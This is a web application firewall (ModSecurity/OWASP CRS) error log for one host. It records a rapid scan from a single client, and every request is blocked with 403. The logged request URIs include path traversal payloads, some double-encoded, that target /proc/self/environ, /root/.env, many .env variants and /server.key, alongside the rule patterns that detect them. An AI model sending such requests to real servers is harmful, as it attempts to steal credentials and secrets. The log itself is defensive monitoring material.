[Sun Oct 25 13:42:07.255790 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4_b1MGGelIHqGysXAasAAAAB8"]
[Sun Oct 25 13:42:07.255994 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4_b1MGGelIHqGysXAasAAAAB8"]
[Sun Oct 25 13:42:07.283559 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at4_b5kDGkILNr0EMn3BXgAAACw"]
[Sun Oct 25 13:42:07.283736 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at4_b5kDGkILNr0EMn3BXgAAACw"]
[Sun Oct 25 13:42:07.283966 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at4_b5kDGkILNr0EMn3BXgAAACw"]
[Sun Oct 25 13:42:07.285762 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at4_b_wFw76qlSfceadvKgAAAAA"]
[Sun Oct 25 13:42:07.285920 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at4_b_wFw76qlSfceadvKgAAAAA"]
[Sun Oct 25 13:42:07.286216 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at4_b_wFw76qlSfceadvKgAAAAA"]
[Sun Oct 25 13:42:07.287212 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "diag2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at4_b8sxP9Gbm0IYLGL8_AAAACI"]
[Sun Oct 25 13:42:07.287439 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at4_b8sxP9Gbm0IYLGL8_AAAACI"]
[Sun Oct 25 13:42:07.287682 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at4_b8sxP9Gbm0IYLGL8_AAAACI"]
[Sun Oct 25 13:42:07.312000 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b1MGGelIHqGysXAasQAAAB8"]
[Sun Oct 25 13:42:07.312105 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b1MGGelIHqGysXAasQAAAB8"]
[Sun Oct 25 13:42:07.312513 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b1MGGelIHqGysXAasQAAAB8"]
[Sun Oct 25 13:42:07.312761 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b1MGGelIHqGysXAasQAAAB8"]
[Sun Oct 25 13:42:07.334317 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDnQAAAAk"]
[Sun Oct 25 13:42:07.334700 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDnQAAAAk"]
[Sun Oct 25 13:42:07.334949 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDnQAAAAk"]
[Sun Oct 25 13:42:07.364156 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4_b-Rnh_MPFutbQ4Jk5wAAAAE"]
[Sun Oct 25 13:42:07.364240 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4_b-Rnh_MPFutbQ4Jk5wAAAAE"]
[Sun Oct 25 13:42:07.364294 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4_b-Rnh_MPFutbQ4Jk5wAAAAE"]
[Sun Oct 25 13:42:07.364815 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4_b-Rnh_MPFutbQ4Jk5wAAAAE"]
[Sun Oct 25 13:42:07.365054 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4_b-Rnh_MPFutbQ4Jk5wAAAAE"]
[Sun Oct 25 13:42:07.371973 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at4_byjnAS4eJh-ada2MugAAAA0"]
[Sun Oct 25 13:42:07.372137 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at4_byjnAS4eJh-ada2MugAAAA0"]
[Sun Oct 25 13:42:07.372400 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at4_byjnAS4eJh-ada2MugAAAA0"]
[Sun Oct 25 13:42:07.374601 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at4_b-TZqNQxsvKVpXkhbgAAABM"]
[Sun Oct 25 13:42:07.374760 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at4_b-TZqNQxsvKVpXkhbgAAABM"]
[Sun Oct 25 13:42:07.375024 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at4_b-TZqNQxsvKVpXkhbgAAABM"]
[Sun Oct 25 13:42:07.378590 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4_b_wFw76qlSfceadvKwAAAAA"]
[Sun Oct 25 13:42:07.378648 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4_b_wFw76qlSfceadvKwAAAAA"]
[Sun Oct 25 13:42:07.378685 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4_b_wFw76qlSfceadvKwAAAAA"]
[Sun Oct 25 13:42:07.378734 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4_b_wFw76qlSfceadvKwAAAAA"]
[Sun Oct 25 13:42:07.379094 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4_b_wFw76qlSfceadvKwAAAAA"]
[Sun Oct 25 13:42:07.379366 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4_b_wFw76qlSfceadvKwAAAAA"]
